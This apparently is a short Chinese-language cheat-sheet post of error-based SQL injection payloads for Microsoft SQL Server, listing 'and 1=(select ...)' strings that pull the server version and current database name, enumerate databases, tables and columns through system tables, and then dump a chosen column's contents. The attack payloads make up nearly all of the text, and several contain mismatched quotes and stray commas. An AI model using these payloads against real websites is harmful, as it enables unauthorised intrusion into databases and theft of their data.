顯性注入代碼

庫版本進行查詢   and 1=(select @@version)

查看當前庫名    and 1=(select db_name() 

庫名查詢       and 1=(select top 1 name from master..sysdatabases where dbid>4 and name <> '第一個數據庫庫名',name <> '第二個數據庫庫名',。。。。。。name <> '第N個數據庫庫名’)

表名查詢:       and 1=(select top 1 name from sysobjects where xtype='u’ and name <> '第一個數據庫表名'name <> '第二個數據庫表名',。。。。。。name <> '第N個數據庫表名’) 

列名查詢         and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名') and name <> '第一個列名’,and name <> '第二個列名'。。。。。。and name <> '第個列名'  )

內容查詢:       and 1=(select top 1 列名 from 表名) 


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章